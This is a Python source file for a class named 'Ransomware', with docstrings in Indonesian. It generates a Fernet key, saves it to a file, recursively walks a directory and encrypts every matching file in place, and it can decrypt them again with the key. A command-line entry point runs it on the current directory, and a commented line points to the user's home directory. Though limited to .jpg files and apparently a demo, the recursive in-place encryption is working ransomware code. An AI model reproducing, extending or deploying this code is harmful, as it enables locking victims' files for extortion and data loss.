import os

from os.path import expanduser

from cryptography.fernet import Fernet

import base64

class Ransomware:

def \_\_init\_\_(self, key=None):

"""

Menginisialisasi instance kelas Ransomware.

Argumen:

kunci: Kunci AES 128-bit yang digunakan untuk mengenkripsi atau mendekripsi file

Atribut:

cryptor:fernet.Fernet: Objek dengan metode enkripsi dan dekripsi, atur kapan kunci dibuat jika kunci tidak diteruskan

file\_ext\_targets:list<str>: Daftar string ekstensi file yang diizinkan untuk enkripsi

"""

self.key = key

self.cryptor = None

self.file\_ext\_targets = ['jpg']

def generate\_key(self):

"""

Menghasilkan kunci AES 128-bit untuk mengenkripsi file. Menyetel self.cyptor dengan objek Fernet

"""

self.key = Fernet.generate\_key()

self.cryptor = Fernet(self.key)

def read\_key(self, keyfile\_name):

"""

Membaca dalam kunci dari file.

Argumen:

keyfile\_name:str: Path ke file yang berisi kunci

"""

with open(keyfile\_name, 'rb') as f:

self.key = f.read()

self.cryptor = Fernet(self.key)

def write\_key(self, keyfile\_name):

"""

Menulis kunci ke file kunci

"""

print(self.key)

with open(keyfile\_name, 'wb') as f:

f.write(self.key)

def crypt\_root(self, root\_dir, encrypted=False):

"""

Secara rekursif mengenkripsi atau mendekripsi file dari direktori root dengan ekstensi file yang diizinkan

Argumen:

root\_dir:str: Jalur absolut dari direktori tingkat atas

encrypt:bool: Tentukan apakah akan mengenkripsi atau mendekripsi file yang ditemui

"""

for root, \_, files in os.walk(root\_dir):

for f in files:

abs\_file\_path = os.path.join(root, f)

# if not a file extension target, pass

if not abs\_file\_path.split('.')[-1] in self.file\_ext\_targets:

continue

self.crypt\_file(abs\_file\_path, encrypted=encrypted)

def crypt\_file(self, file\_path, encrypted=False):

"""

Mengenkripsi atau mendekripsi file

Argumen:

file\_path:str: Jalur absolut ke file

"""

with open(file\_path, 'rb+') as f:

\_data = f.read()

if not encrypted:

print(f'File contents pre encryption: {\_data}')

data = self.cryptor.encrypt(\_data)

print(f'File contents post encryption: {data}')

else:

data = self.cryptor.decrypt(\_data)

print(f'File content post decryption: {data}')

f.seek(0)

f.write(data)

if \_\_name\_\_ == '\_\_main\_\_':

# sys\_root = expanduser('~')

local\_root = '.'

#rware.generate\_key()

#rware.write\_key()

import argparse

parser = argparse.ArgumentParser()

parser.add\_argument('--action', required=True)

parser.add\_argument('--keyfile')

args = parser.parse\_args()

action = args.action.lower()

keyfile = args.keyfile

rware = Ransomware()

if action == 'decrypt':

if keyfile is None:

print('Path to keyfile must be specified after --keyfile to perform decryption.')

else:

rware.read\_key(keyfile)

rware.crypt\_root(local\_root, encrypted=True)

elif action == 'encrypt':

rware.generate\_key()

rware.write\_key('keyfile')

rware.crypt\_root(local\_root)